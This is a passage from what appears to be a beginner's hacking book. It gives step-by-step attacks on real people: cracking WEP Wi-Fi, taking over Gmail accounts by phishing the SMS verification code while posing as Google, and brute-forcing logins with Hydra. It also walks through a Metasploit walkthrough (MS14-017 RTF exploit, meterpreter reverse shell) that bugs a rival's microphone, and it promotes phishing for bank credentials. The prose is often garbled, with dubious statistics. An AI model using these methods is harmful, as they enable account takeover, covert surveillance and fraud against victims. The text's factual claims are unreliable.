and the command prompt will be like this:
C:\>ping www.google.com
Pinging www.l.google.com [209.85.153.104] with 32 bytes of data:
Reply from 209.85.153.104: bytes= 32 time=81ms TTL=248
Reply from 209.85.153.104: bytes= 32 time=81ms TTL=248
Reply from 209.85.153.104: bytes= 32 time=81ms TTL=248
Reply from 209.85.153.104: bytes= 32 time=81ms TTL=248
Ping statistics for 209.85.153.104:
Packets: sent = 4 , received = 4 , lost = 0 <0% loss> ,
Approximate round trips times in milli-seconds :
Minimum = 81ms, Maximum = 84ms , Average = 82ms
Netstat shows you current TCP/IP network connections and protocol statistics. It
can be used with the syntax at command prompt : c:/>Netstat-n and the
command prompt will display :
C:\>Netstat-n
Active connections :
ProtoLocal address Foreign accessState
TCP 117.200.160.151 :2170209.85.153.104 :80 Established
TCP117.200.160.151 :2172209.85.153.104 :80 Time_Wait
TCP 117.200.160.151 :2174209.85.153.104 :80 Established
TCP 117.200.160.151 :2176209.85.153.104 :80 Established
TCP127.0.0.1 :1042127.0.0.1 :1043 Established
Telnet is another tool which runs on TCP/IP. It is used to connect to the remote
computer or particular port . Its basic syntax is : c:/>telnet hostname.com and the
complete syntax when it connects to port 23 of the computer is: c:/>telnet
hostname.com port.
Example: c:/>telnet 192.168.0.5 21 or c:/>telnet www.yahoo.com 21
Tracert is another tool used by network hackers and its tracing out the route
taken by the information. Tracert syntax: c:/>tracert www.hostname.com let’s
take as example www.insecure.in :
C:/>tracert www.insecure.in
Command prompt will display:
C:\>tracert www.insecure.in
Tracing route to insecure.in [174.133.223.2]
Over a maximum of 30 hops:
1 29ms 30ms 29ms 117.200.160.1
2 31ms 29ms 29ms 218.248.174.6
3 * * * Request timed out
4 694ms 666ms 657ms125.16.156.17
5 644ms 656ms 680ms125.21.167.70
6 702ms 686ms 658msp4-1-0-1.r03.lsanca03.us.bb.gin.ntt.net
7 682ms 710ms 703msxe-3-3-0.r21.lsanca03.us.bb.gin.ntt.net
8676ms692ms707msas-0.r21.hstntx01.us.bb.gin.nnt.net
9 748ms837ms828msxe-4-3.r03.hstntx01.us.bb.gin.nnt.net
10717ms721ms722ms xe-4-4.r03.hstntx01.us.ce.hin.nnt.net
11695ms701ms712ms po2.car07.hstntx2.theplanet.com
12726ms697ms688ms 2.df.85ae.static.theplanet.com
Trace complete.
Network Hacking
Despite the hackers, there are “occasional” hackers who are using the network
hacking to crack wireless passwords because internet connections are a necessity
in our lives but how is a wireless network secured? In case of secured wireless
connections, encrypted packets represent internet data under another form.
Packets are encrypted with network security keys and basically if you want to
have access to internet wireless connection then you should have the security
key for that particular wireless connection. There are two types of encryptions
in use WEP (Wired Equivalent Privacy) and WPA (Wi-Fi Protected Access),
WEP is the fundamental encryption and a very small number of people use it
because it’s very unsafe and it can be cracked very easy. WPA is the more secure
option, WPA-2 is the most secure encryption of all time and you can crack a Wi-
Fi Protected Access network then you will need a wordlist with common
passwords but it can be unbreakable if the administrator is using a complex
password and because a lot of people are interested in breaking Wi-Fi protected
connections, this book is going to show you how to do it. You will need a
compatible wireless adapter, CommView for Wi-Fi, Aircrack-ng GUI and a big
bag full of patience. This operation is impossible without a compatible wireless
adapter, your wireless card must be compatible with the software CommView,
software used for capturing the packets from the network adapter, and you can
download the software from their website. Aircrack-ng GUI is practically doing
the crack after capturing the packets.
Don’t forget two main things before starting: select the network with the highest
signal and remember that every network has its details in the right column, not in
the left column. Set up CommView and choose your target network, select it and
double click on “capture” with CommView and the software will start collecting
packets from the selected channel. If you want to capture packets only from the
target network then right click on the target network and copy the MAC address,
on the top change to Rules tab, on the left pick MAC addresses and enable them.
Once you have done this, select the option capture and for ‘add record’ please
select both and paste the copied addresses in the displayed box. Enable auto
saving in the logging tab, set MDS (Maximum Directory Size) to 2000 and
ALFS (Average Log File Size) to 20. And you are at the point where you should
use your patience and wait until at least 100,000 packets are captured and export
them by going in the log tab and selecting concatenate logs and select everything
that has been saved and don’t forget to keep CommView open, take a walk to the
folder where you have saved the concatenated logs and open it and click on File-
Export -Wire shark tcpdump format and chose any destination, after doing this
logs will be saved with .cap extension.
Next, open Aircrack-ng and there you will find a zip file, extract it and open it
and navigate to ‘bin’, now run the software and choose WEP. Remember the file
you saved earlier .cap? Click ‘launch’ and in the command prompt write the
parameter number of your desired network and wait for a few seconds. Enjoy the
internet now!
Email Hacking
The fourth type of hacking is email hacking and in this type hackers attempt to
an email address without permission. The electronic mail is more used than the
traditional mail boxes and that’s due to the evolution, emails are used today
mostly as a form of communication due to its options. There are two types of
services web-based: an email service which is open-based and that means this
type deliver email accounts to any customer, some of them are for free but some
request fees and the other type give email accounts controlled and organized by
companies for employees, and in general students and members only. There are
three big forms of attacks: spam, virus or phishing.
The first type of attack is realized by delivering huge email broadcasts which
contains a hidden IP address or email addresses, a spam message usually
contains something very attractive such as low-priced travel tickets, job offers
and in general any kind of offers and to be more attractive spammers use a lot of
colors and photos. Some of the hack victims may open the magic message, read
it and get really interested in its content.
The big fun for hackers is when they hit a big company and hold their sending
email and IP address. If the masters of email hacking choose a company and
hack it the company would be destroyed and their internet connection would be
down and stopped by its Internet Service Provider (ISP) and none of their emails
would reach the destinations.
Another method used by hackers to get unauthorized access into someone’s
email is by sending them an email that hides a virus in the background, the Sobig
virus is often used because it’s a modern technology that creates a spamming
infrastructure because it’s taking over unwilling PC members. The third way
hackers follow to hack and email is called phishing and it consist of collecting
sensible and valuable information from others emails such as credit card
numbers, user names and passwords and many hackers use this method to get
money. The risk of being hacked by phishing is very high in those days
especially on Facebook and Twitter where you give some precious information
about your person, social media is not as kind as it seems and there are a lot of
well hidden secrets behind them.
There are three types of phishing, the first type is known as Spear Phishing and
it’s used to attack target people, companies and organizations, 91% of email
attacks are made with this kind of phishing and most of them are successful. The
next phishing type is called Clone Phishing and its adepts clone emails by
creating identical ones and the last type of phishing is known as Whaling, people
use this term to describe a high profile attack made using phishing method.
An interesting way to hack someone’s account you can apply only by knowing
his/her phone number, let me explain how, when a person is making a new email
address its recommended to attach their phone number for security reasons and
in case you forget your email password you can set a new one if you add your
phone number, so most of the people add their phone numbers. It’s enough to
know your victim’s phone number and email address to start.
First, go to the login page and type the email where they ask you to do it and
after that select the ‘’need help?’’ option and select "Get a verification code on
my phone: [mobile phone number]" and the sms will be sent to the phone
number, the sms usually is formed from six letters. After that, you should send a
message to the person’s number pretending you are Google and the message
should be "Google has detected unusual activity on your account. Please respond
with the code sent to your mobile device to stop unauthorized activity.” the
victim will believe this message and send you the verification code which you
will enter lately. After entering the code set up a new password and we are done,
check everything you want on that account.
*Note: this method works only with Gmail accounts and it will be successful if
the victim doesn’t know your number, in case the number is known by the victim
try to send the message from an unknown number.
Every one of us must take measures immediately to protect our email addresses,
a big company like Yahoo!, Gmail or Hotmail treat their customers with
curiosity by offering them high security, each one of them will notify you
immediately if there is something strange and ask you to check your email or set
up your password.
Another good idea is to make a complicated email address with numbers but
make sure you don’t forget it! Also you should choose a complex password with
numbers and big and small letters (I recommend creating a password with more
than 12 characters). Your computer should be protected as well, make sure you
get a professional, original and high quality antivirus software like Avira or
Avast, they might offer you a short testing period and after that they will ask you
to buy it, do it, it totally worth! Even a hacker should protect his computer
because you never know what could happen in the next second.
Choosing a difficult security question will increase your security rate but be
careful; you should remember the answer even after ten years or more if it’s
needed, this option could save your email’s life because no one will be able to
surf the internet in hope to find something very personal about you.
However, email hackers have a lot of success those days by simply getting into
more and more email accounts ….
Password Hacking
Another type of hacking is password hacking and some of the people also call it
password cracking, the hunted people are usually celebrities, government people
or ‘’too loved’’ persons or they could be simple persons who forgot their
passwords and want them back so they recover them by hacking their own
accounts. A password hacker is using all his intellectual and practical power to
solve the problem and not by guessing the password because this is something
that an unspecialized person would do, not a master of hacking. So do you think
your password is secure? Think again about this.
So, password hacking is a method to recover your own password from data
transmitted by or stored on a computer, or you it can be a method to get
someone’s else password without asking for it. In fact, password hacking is
about you passwords and other’s passwords that protect their important or
valuable data.
There are some famous techniques to hack a password such as dictionary attack,
brute force attack, rainbow table attack, phishing is used also here, social
engineering, malware, offline hacking, spidering and shoulder surfing. Because
of the spidering method hackers gave a small piece of their time to study website
sales material and even the websites of competitors and corporate literature
because they released that passwords are combinations of words linked to those
domains so they got inspired and created a personalized word list to let them get
access to the secured information easier. The other hackers who don’t have too
much time to spend reading, there is an application that can do that replacing
your work. Dictionary attacks are based on most used words as passwords and
this method is using simple files which contain words that can be found in a
dictionary.
If you are going to hack by rainbow table attack you will need a lot of RAM
because the file is about four Gigabytes (GB), a rainbow table is a pre-calculated
list of hashes and is working by listing permutations of encrypted passwords
specific to a given hash algorithm. This method is one of the fastest methods of
hacking because in average is only 160 seconds to break a 14-character
alphanumeric password, but don’t forget that a big part of the process depends
on the software. As in email hacking, phishing is used in password hacking as
well because it’s one of the easiest ways to hack by sending an email under
different institution’s identities asking them to give you their password, and you
have big chances to win if you are going to choose this method of hacking. Even
more than that, there is a social engineering which is taking the above concept
outside the inbox, you would be really surprised how much this works the only
thing you have to do is to pose as an IT security agent and simply ask for the
passwords under a fake identity of course, some of the hackers do this face to
face making a false identity document before.
Brute force attacks are also known as exhaustive key search and they are attacks
against encrypted data but an exception is data encrypted in an information-
theoretically secure manner, this method is similar to dictionary attack method
and it’s not a quick way to hack a password, it’s a great method to hack short
passwords even if they have got numbers in them but there are some encryptions
that could not be given up by brute force due to their mathematical proprieties
and complicated algorithms. You can use software such as Hashcat, John the
Ripper, Aircrack-ng, Cain and Abel, Crack, SAMInside, Rainbowcrack,
L0phtcrack, Hash code cracker, DaveGrohl and Ophcrack to hack passwords
with this method.
And here is an example using Hydra:
root@find:~/Desktop# hydra -t 10 -V -f -l root -x 4:6:a ftp://192.168.67.132

Malware is such a great and enjoyable method to hack passwords because it’s
not taking a bi amount of effort, malware can install key loggers or screen
scrappers that collects everything you write and if you want to it can make print
screens while a person is logging in and then sends by forwarding a copy of the
file to you. A recent research is showing that over 45,000 Facebook accounts
have been hacked using malware. Malware is great because despite the fact that
is helping you hack a password it can disrupt computer operations and win
access to private computer systems. Malware is the contraction for malicious
software.
Shoulder Surfing it is the most used method to collect pass codes from ATM
machines and credit cards and it is realized running your eyes over a person’s
shoulder to visually collect what that person is typing.
Offline hacking is also a nice method to hack passwords used by hackers,
hackers can take full advantage of this method because they can do it in a really
quick time, by using this method you will be able to take the password hashes
out of the local SAM file and hack the selected hashes using methods like
Dictionary or Rainbow table but to be capable of doing this operation you should
download and install Cain and Abel software. This kind of attack is only
possible when you have the password hashes and its way more well than online
attacks due to the main difference between them which is the speed you can hack
a password.
Just to get some training I recommend trying both online and offline attacks
because they are very different and if you are doing it for the first time it could
be one of your life challenges. Sometimes you won’t get the result you want to
only trying once, but never give up and think about the best solutions! Make sure
you have all the comfort conditions you need when you do such operations
because they need a lot of patience and attention.
Let’s make an imagination exercise and believe for a moment that there aren’t
any passwords to break and everything is free, wouldn’t it be too boring?
Those skills will help you reach your goals and it is fun to try each one of them.
But if you want something more professional to hack a password, then this book
is the right one for you because below you will fin out how to hack a password
using THC-Hydra but you will need to download and run Kali distribution in
order to get this tool installed.
The first step in hacking passwords using THC-Hydra is downloading and
installing another tool which is an extension of Firefox and it gives you the
capability to keep and/or change the outgoing HTTP requests and it is called
“Tamper Data “, it was one of the best hidden secrets of the hackers … until
now, this tool is easy to use because it is well built and it allows you to post
information too. After you download it please install it into Iceweasel which is a
browser in Kali.
Once you do the above carefully, please move to the next step by testing Tamper
Data by activating the tool into your browser and start surfing the internet
randomly. Tamper Data must provide you with each HTTPS GET and POST
request between your browser and the server, if the tool is doing this then you
can successfully follow the next step.
The next step consists in opening THC Hydra after you installed and tested
Tamper Data, you can open Hydra by accessing Kali Linux, selecting the option
password and the computer will display Online Attacks option, click on it and
select Hydra.
Once you open Hydra, you can notice Hydra’s syntax root@kali:~# ,Hydra will
welcome with a help screen which looks like:

OPT some service modules support additional input (-U for module help)
Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s
]-{head | get} http[s]-{get | post}-from http-proxy-urlenum icq imap[s] irc
ldap2[s] ldap3[ - {cram| digest}md5] [s] mssql ncp nntp oracle-listener ora
cle-sid pcanywhere pcnfs pop3[s] postgres rpd rexec rlogin rsh s7-300 sip smb
smpt[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd
vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs – usage only allowed

for legal purpose. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 oracle.

Use HYDRA_PROXY or HYDRA_PROXY – and if needed

HYDRA_PROXY_AUTH – environment for a proxy setup.
E.g.: %export HYDRA_PROXY=socks5://127.0.01: 19150 or (socks4:// or
connect ://)
%export HYDRA_PROXY HTTP=http://proxy:8080
%export HYDRA_PROXY_AUTH=user: pass

In Hydra, the username can be “user” or “admin” or maybe “person”, the

username is a single word usually and passwordlist is a file that it’s containing
possible passwords and target indicates the IP address and port.
And the last step is using Hydra to hack passwords like in the following
example:
root@kali:/usr/share/wordlists# hydra – l admin -p
/usr/share/wordlists/rockyou.txt 192.168.89.19080
Above I just hacked the ‘admin’ password using the wordlist “rockyou.txt” at
192.168.89.190 port 80.

Take full advantage of using Hydra and use it on Web Forms too, Hydra’s syntax
using a web form is <url>:<formparameters>:<failure string> and Tamper Data
will help you by providing important information.
*Note: Useful Hydra dictionary:
-t = how many parallel attempt at a moment (1/5/10/100?)
-P = dictionary file
-f = stop when found the password
-v = show output
-I = username
There are other famous tools used for password hacking except the one
mentioned, tools such as Medusa, Wfuzz and Brutus. Brutus is one of the most
used tools for password hacking because recent studies are showing that it’s the
most flexible and the fastest tool used in this type of hacking, only works on
Windows system and it is on market since October, 2000 and it is totally free.
Medusa is similar to Hydra and it’s supporting HTTP, FTP, CVS, AFP, IMAP,
MS SQL, MYSQL, NNTP, NCP, POP3, PostgreSQL, pcAnywhere, rlogin, rsh,
SMB, SMTP, SNMP, SSH, SVN and VNC. This tool is capable to check
approximately 2000 passwords per minute if the network connectivity is good,
but before you start using it take a close look to the commands because this is a
command line tool and try to learn them.
Wfuzz is also a tool used by password hackers with brute force, you can use it to
discover hidden sources such as scripts and servlets. Wfuzz is a little bit different
because it has the capability to identify injections like SQL Injection, LDAP
Injection and XSS Injection. Why to choose Wfuzz? It’s simple, you should
choose it for those reasons:
It can brute force HTTP password, it has multiple proxy support, it can inject via
multiple points and post headers and authentication data using brute force.
Each of the mentioned tools are great and helpful in password hacking, a real
hacker must try them all and then choose a favorite tool to use in his next
password hacking attacks because every tool is special in a different way and
even if they seem to do the same things, if you give some time to try and analyze
each of them you will see that they are different from each other even if the main
idea is practically the same, they were all created to do the same thing : to help
hackers do their job better.
Investing in your person is the best kind of investment you could ever make and
that’s because you are always gaining something that you can lose after a period
of time, you gain experience and you exercise your brain at the highest levels by
trying every new feature and exploring it, by making new connections and
creating new solutions.
Also, a hacker knows mostly everything about all the types of hacking so he
prefer quality over quantity and is always investing in new high staple software
that he can’t wait to explore , find the software weakness and make it even
higher quality than before because evolution is infinite.
Computer Hacking
The penultimate type of hacking is represented by Computer hacking which is a
type of hacking used by hackers to get access to another person’s computer and
control it without the owner permission and there are few operations performed
on the hacked computer like collecting material or using it to chat and even
access some sensitive files on that computer.
Computer hacking is about changing the hardware and software on the hacked
computer, reports show that most of the computer hackers are teenagers and very
young adults but there are as well old aged hackers, as any other hacking type,
computer hacking is considered by hackers a form of art and it not an
opportunity to bother others as many people see, in fact, computer hacking is a
chance for hackers to prove their abilities and skills.
There are famous computer hackers and we should thank them every day for
their realizations because if they weren’t maybe the technology nowadays won’t
be at this point, Dennis Ritchie and Ken Thompson worked early in the 70’s to
create the UNIX operating which highly affected the development of Linux and
they were tagged as former hackers. Another important computer hacker is
Shawn Fanning who created Napster.
There are three methods to hack a computer and the first one is called Hacking
Logins, the second one Remote hacks and the third one is about hacking Wi-Fi.
There are few steps to follow in every case.
We are going to start with the first method of computer hacking, so the first step
is to open your computer and boot it in the safe mode and after doing this wait a
couple of seconds until the computer is open, when it’s open in the safe mode
please click on Start button and select “run” after that try to write in “control
userpasswords2” and change passwords for any other account if there are
multiple accounts and at the end of the process don’t forget to restart the fresh
hacked computer.
The second method is used to hack remotes and the first step in following this
method of computer hacking is downloading and installing the LogMeIn
software, they will give you a free limited version, this program should be
downloaded on the computer you intend to remotely view. You have to make an
account on the LogMeIn website to use the free program. When you already own
an account on the website, log in and go to the “ My Computers” page in case if
it doesn’t open automatically after logging in. The next step is searching for “
Add computer”, click on this button and put there the information of the
computer you intend to access and the computer should be added automatically.
Check if the computer name is added and click on it if it is there, if not then
repeat the below step. For the next step you will have to know the username and
the password of the computer in order to log on it and view the account you want
to access and after that select the “Remote Control” option and log out the
website once you satisfied your curiosity.
Computer hackers use another method to get access to your computer and use it.
The whole process is realized if hackers know your personal Internet Protocol
which is totally unique and any hacker can contact your computer if they know
your IP. The first step in this case is downloading and installing Nmap, a tool
used for port scanning and after you have got the Nmap installed you should
search by scan option a local computer and after you did this please scan your
individual target, after the scan you should notice the open ports. The last step
after scanning is banner grabbing and here you can use the regular ol’ telnet
client, Telnet has Linux and most Windows distributions:
telnet <host IP> <port banner to grab> and you just tried this method as well.
Hackers are creative minds and love to solve problems, one hacker asked
himself if there would be no problems and he ended up concluding that he would
commit suicide, hacking is so addictive, once you get it right, you never leave it.
A massive computer hack was made by Anonymous in 2011 when they broke
into the Syrian Leader’s account and accessed more than 78 inboxes of the
president’s personal and made it public and accessible to any person . According
to the official sources, the hackers group didn’t need a lot of effort to break the
email because the president’s password is number two weakest password in the
world on an official top, his password was 12345 and it was associated with a
couple of his accounts not only the official one, while the country was on fire,
hot news appeared due to the Anonymous group of hackers.
The black hat hackers who have big goals such as Anonymous goal that later
turned into a big realization are more than dangerous because by contributing
with their creative mind, they have 90% chances to succeed but there is 95% to
make other collateral victims of the hack, so think ten times before you take
attitude and action as a hacker because you might destroy other people lives
including your life as well, once you take a decision and you realize what you
decide you can’t erase your own actions, it’s exactly live a famous movie, once
is filmed it is never deleted.
As a real hacker, you should act with responsibility and never forget to assume
everything you do, even if we are talking about white hat hacking or black hat
hacking, both of them request a mature creative mind, not only a creative mind
because little children have also creative minds, but they don’t became hackers
in the most of the cases.
Hackers don’t want only to hack your computer, they are doing it because they
want to get deeply in your life, so they decide to spy on you by hacking your
computer. Due to the computer technology spying is not anymore an action that
could be performed only by agencies and organizations like CIA, NSA, and
KGB because you can do it too if you are a dedicated and motivated hacker. This
book is going to tell you how to transform any computer into a listening device.
Start by installing Kali and after that continue by firing it up, you should be able
to discredit the computer wanted in order to convert it into a listening device.
After doing this, make sure you are compromising the Remote Computer and
one of the greatest way to do it is by sending the computer an email that will get
the wanted click on a link or document and inside the document you should
embed a listener that will enable you to turn on the microphone on the target
computer and collect all the conversations that are made around the computer. To
make sure you gain your victim’s attention please select an interesting and
exciting subject that would attract the victim immediately, your main goal is
earning that magic click.
You should associate this process with a little bit of social engineering because
in most of the cases, hackers know their victims and their weakness so take full
benefit and if it’s your business rival then send him an excel or access document,
anything the victim might make put interest in. Hackers are just too smart and
busy with their stuff and that’s why they would never listen to foreign
conversations between unknown people. You will search for an exploit next, you
should find a customer who uses the vulnerabilities of Microsoft Word, a few
time ago Microsoft posted an official report about their vulnerability that allow
remote code execution, the file was named MS14-017 and if you search the web
with attention you will find exploit/windows/fileformat/ms14_017_rtf, once you
found this you should load it into Metaspoilt:
msf >use exploit/windows/fileformat/ms14_017_rtf
msf exploit(ms14_017_rtf) >
After you’ve got it loaded write” info” to find out more interesting stuff
Playload information:
Space: 375
Description:
This module creates a malicious RIF file that when opened in vulnerable
versions of Microsoft Word will lead to code execution.
The flaw exists in how a list override count field can be modified to treat one
structure as another. This bug was originally seen being exploited in the wild
starting April 2014. This module was created by reversing a public malware
sample.
References:
http://cvdetails.com/cve/2014-1761
http://technet.microsoft.com/en-us/security/bulletin MS14-017
https://virustotal.com/en/file/e278eef9f4ea1511aa5e368cb0e52a8a68995000b8ble6207717d9e

after the computer display the above, select show options
msf exploit(ms14_017_rtf) > show options
Module options (exploit/windows//fileformat/ ms14_017_rtf):
Name Current settingRequiredDescription
------- ----------------- ---------- ------------
FILENAMEmsf.rtfno The file name.


Exploit target:
Id Name
---------
0 Microsoft office 2010 SP2 English on Windows 7 SPI English
You may notice that this exploit works only on MS 2010, the information we
need from the above is FILENAME.
After that, create the file you want to send and then set the payload right in the
document by sending the payload to meterpreter because it let you control the
hacked system. msf > set PAYLOAD windows/meterpreter/reverse_tcp.
The next step is setting up LHOST with your own IP address because it is
helping you to get notified when the system is used by your victim, end this step
by writing "exploit." This will create a file that places the meterpreter on the
victim’s system.
To receive the connection back to your system you must open a multi-handler
connection
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
After this step please set the LHOST to your internet protocol.
Once you created your malicious file send it to your victim and wait until it’s
opened by the victim on their system. After the victim open the document she is
going to pass a meterpreter session.
Use the Metasploit Ruby script that activates the microphone on the hacked
computer and form the meterpreter prompt like this meterpreter > run
sound_recorder - l /root.
You can find the recordings at your system in a /root directory in a file.
The worst part about this method is that is taking a huge amount of memory, so
make sure you prepare your hardware for the operation as well.
And because hackers are helping technology to go on, there are persons who
take care of the hackers, so they created many sites where the old hackers can
exercise their skills and beginners to learn few things about hacking
This kind of websites are very helpful and you can learn really good stuff at
Hacking Tutorial, Evilzone hacking forums, Hack a Day, Hack in the box or
Hack this site!, they are offering training materials and a big range of tips and
tricks for hackers, but those kinds of sites won’t make you a master in hacking
but you can definitely become one by trying to work on the biggest problems
and a great way to challenge your mind is searching for those kind of
impossible, unsolved problems and trying to find a solution for each of them.
Computer hacking has its legal limits too, it’s ok to do what you like and try
everything in that domain until you are in prison, so while hacking adrenaline is
freaking you out don’t forget that there are people who can’t wait to judge your
actions.
The problems you will meet in hacking are actually a reflection of real problems
in the real life, and real problems in life should be treated with full seriousness,
attention, responsibility and a lot of knowledge, it’s the same procedure in case
of hacking, you can’t hack just for fun for a long period of time because by
doing it you increase your chances to get a “free trial” in the federal prison and
this would be unlikable to any hacker because without freedom you can’t do
your stuff, you can’t access your materials and some people are controlling your
life, so take care to NOT arrive at that point.
Online Banking Hacking
After you learned about different types of hacking, there is a last one to take in
consideration and that type of hacking is called Internet Banking Hacking and
it’s considered a cyber crime in the most countries of the world.
In the last years, internet banking has become a feature used by a big number of
people and it has its advantages, but the main disadvantage is that once hackers
get into this type of hacking all the money are lost. Authorities and expert
analyses estimate that in the future years the cases of online banking hacking
will take a considerable growth. Online banking exists since 1980 and new
methods to hack online bank accounts are appearing everyday. This book will
tell you the fundamental methods used in online banking hacking since it
appeared.
The first method you can choose for hacking an online bank account is phishing,
the number of this kind of attacks are growing in the last years against banking
systems, to hack the victim you should use social engineering techniques as well.
Hackers hide under a bank identity and make their new identity look as real as
possible pretending to belong to the bank, malicious emails, advertisements and
emails are the top secret in getting into someone’s bank account without their
permission or knowledge.
You should adopt the typical phishing scheme and try to collect as much
information as you can about your victim, before anything else you should know
their email address and if the victim uses this address for online banking but
don’t worry, most of the people do it because it’s a little bit too complicated to
work on couple emails at a time and people who choose internet banking are
usually busy and they don’t have time to follow more than an email address.
So, after you have got the email address, send any email that can get your
victim’s attention by opening that email, the content of the email can be
something interesting or in this case it’s better to guide your victim though a link
to a specialized website that will ask for financial data and security details, those
kind of websites are specially designed to look like an official bank account, but
is definitely not the original one, those infected websites are designed identical
to the original ones.
Your email should make the victim click on a link which will guide your victim
to a website which perfectly replicates a bank site.
Hackers also include in the email attachments which contain the link to the fake
website and once opened it has the same effect. Phishing emails should take the
official form of notifications and emails of the banks, organizations or e-payment
systems, those kinds of messages request your victim’s sensitive information that
will help you reach your goal. Malware specially designed for online banking
hacking exist! it’s named Prg Banking Trojan.
McAfee has published a report on phishing which indicates that hackers aren’t
hacking small banks, their targets are big companies, banks and organization that
could worth the hack operation to be done. 37% of all banks on the globe were
hacked using the phishing method in the last 12 moths at least once.
Hackers attempt to every sector by phishing it. Hackers are interested in
predominantly banking, e-payment systems, e-auctions and generally in hacking
big financial organizations around the globe.
Phishers are focused on breaking into hosting providers and they succeed in
most of the cases, hackers disgracing servers and update their own configuration
in order to display phishing pages from a private subdirectory of each domain
that the machine host.
Don’t forget to protect yourself even if you are trying to hack online accounts,
with a little lack of attention you can loose everything as well as your victims.
Don’t divulge your Internet Protocol, read carefully every email and don’t click
unless you are sure, ask and request more information always in order to keep
protected.
The second method used by hackers to break into online banking accounts is
called Watering Hole and specialists define it as an evolution of phishing attacks.
By choosing this option hackers are injecting malicious codes onto a public
website visited by a small and standard group of people.
In Watering Hole attack, hackers wait for target people to visit the hacked
website and they are not inviting their victims to do it, they are only waiting for
them to visit the website. If you choose this method, you should use Internet
Explorer and Adobe Flash Player.
Hackers are compromising websites using this method that aren’t updated and
configured very frequent because they are easily to hack than an updated
website, usually hackers are using the exploit kits they find on the black square.
Pro hackers hack the website at least six months before they attack it.
This method is very efficient because hackers and websites can be located very
hard comparatively to phishing attacks. After the attacks hackers keep in touch
with the website to make sure that everything is going in the direction they want
to.
In 2012, hackers used this method to hack a regional bank in Massachusetts. The
operation was successful due to the JavaScript elements on both sites, the bank
in Massachusetts and the local government that was under Washington DC
suburbs:
Hxxp://www.xxxxxxxxtrust.com
Hxxp://xxxxxxcountrymd.gov
Another attack using this method was discovered in March 2013 when many
banks in South Korea were compromised, the hackers collected sensitive data
from the bank and they have also shut down their system. An interruption of
their services was made on their online banking.
Hackers consider this method a solution for the problems that authorities and
security services and systems give them, and because they love to solve
problems, they found an innovative solution in this case as well.
Researches show that most of the hackers make money online using this method
and a lot of them are still undetected.
Hackers have a lot of ideas and they are really good, their ideas reflect in their
solutions and that’s how Pharming and Credit Card Redirection hack method
was born.
This method consists in hijacking a bank’s URL and when the customers access
it they are automatically guided to another site which is identical to the original
website. This method of hacking is a little bit more difficult than the other two
methods, but not impossible. You can technically make it with one of the next
techniques:
1. DNS Cache Poisoning
DNS’s exist in a bank’s, organization’s or company’s network to make a
better response performance. Hackers attack the DNS server by exploring
vulnerabilities in the DNS software, which make the server to give an error
because it will incorrectly validate the DNS response.
The server will redirect people to another site because it will catch wrong all
the entries. Usually, the server which will host the victims is managed and
controlled by hackers in order to give the customers malware. Hackers can
even attack customers if they provide the hackers their IP.
1. Hosts File Modification
Hosts file is used by hackers to direct the customers on any website under
their control.
A new technique is Credit card redirection which is used on disgraceful e-
commerce websites to let the hackers get the sensitive information they need.
This technique is not hacking the customer directly, after the victim pays using
the card, the hacker modify the flow of the operation and all the money are
redirected to them and most of the attacks are made on websites that offer e-
commerce services.
Hackers also break into a victim’s account by changing the credit card
processing file.
Another type of attacks used in online banking hacking is called Malware based
attacks and they are classified as the most dangerous attacks on the internet
related to online banking services.
There are many malicious categories but in general they are designed to hit the
online financial business.
Security community considers Zeus, Carberp and Spyeye are considered the
most dangerous of all. Zeus is in fact a Trojan horse which best works on all the
versions of Windows, it was first discovered in 2007 when hackers use it to
obtain illegally information about US Department of Transportation, it’s the
oldest one from those three and even NASA got hacked in 2009 using Zeus.
MIITB is maybe the most efficient method used by hackers in internet banking
where the ones who want to attack combine social engineering with malware
which is infecting the browser of the victim. It mostly hide under the form of
BHO (Browser Helper Object), attacks are based on proxies which infect the
browser of the customer exploring it’s weakness on the victim’s device.
Malicious codes are able to change the content of an online transaction between
the bank and the customer.
The Zeus Trojan is also used to hack and get bank credentials by MIIT keystroke
logging. Specialists consider that nine million phishing emails with Zeus were
sent in 2009.
According to ZeusTracker USA, Deutschland, Russia, UK, Ukraine, Romania,
Netherlands, France, Japan and Turkey are top ten countries which are hosting
Zeus.
HoT- Hand on Thief is another Trojan specially designed to hack online banking,
it was created to hit the Linux and Mac systems which demonstrated to be
immune to malware. Authorities say that it was created in Russia and it’s
available to buy on some Russian underground forums, it’s capable of infecting
the victims and stealing sensitive information from their machines.
Grabbers and backdoor infection vectors are currently on sale with Hand of
Thief for approximately $3000.
DDoS attacks are also used to hack internet banking. In case of online banking
hacking, hackers are helped by volunteers that participate in the operation, a
botnet is easier to detect and volunteers can block the whole process of
detecting.
After 129 countries have been attacked with DDoS attacks, FBI decides to share
a list of more than 130.000 Internet Protocol addresses used in attacks, attacks
where the victims could not access their online or mobile banking services.
The fundamental types of DDoS attacks:
The ones based on volume VBA- the hacker is making an inundation with big
quantity of data on the site.
Protocol Attacks PA- when the hackers are trying to imbue the target servers by
exploiting network protocol failures.
Layer Seven Attacks- created to exhaust the resource limits when hackers make
inundations with huge amounts of HTTP requests that saturate a target’s
resources.
DDoS attacks are also used as a deflection to hide the results of an attack that is
ongoing. Dirt Jumper is a part of DDoS malware group and it has an updated
version called Pandora, a big number of DDoS kits have shown up like YZF,
ArmageddoN and DiWar. FBI and FS-ISAC and IC3 are highlighting the
distribution of Dirt Jumper kit being used in bank attacks.
Using the methods from above, hackers can get money and they are also called
criminal cyber if they do this activity illegally, they can hack an ultimate number
of account and banks until they are discovered, if they are ever discovered.
Now more than ever, hackers don’t focus only on computers, they also take in
consideration hacking the mobile phones which are today such an result of great
ideas combined with hard work, since the phones are smart phones they allow
you to do any kind of operation you want or need and they are way more used
nowadays than computers, a lot of people use their smart phone to pay bills
online or to do transactions online via internet banking services all around the
world and that’s why hackers are focusing also on smart phones and hacking
their systems in order to reach a new goal or just to give themselves new
challenges. A research done in 2015 highlights the importance of smart phones
and shows us that smart phones are more used nowadays then computers.

CHAPTER 4: HACKING AND NON-HACKING
Hackers and the Law
Everything in this life has its own limits and consequences, you can’t eat without
stopping and getting fat, you can’t drive your car without stopping and giving
her fuel, you can’t jump free from a plane without a parachute and not getting
hurt and you can’t hack forever except if you are doing ethical hacking. But do
you know how far you should go?!
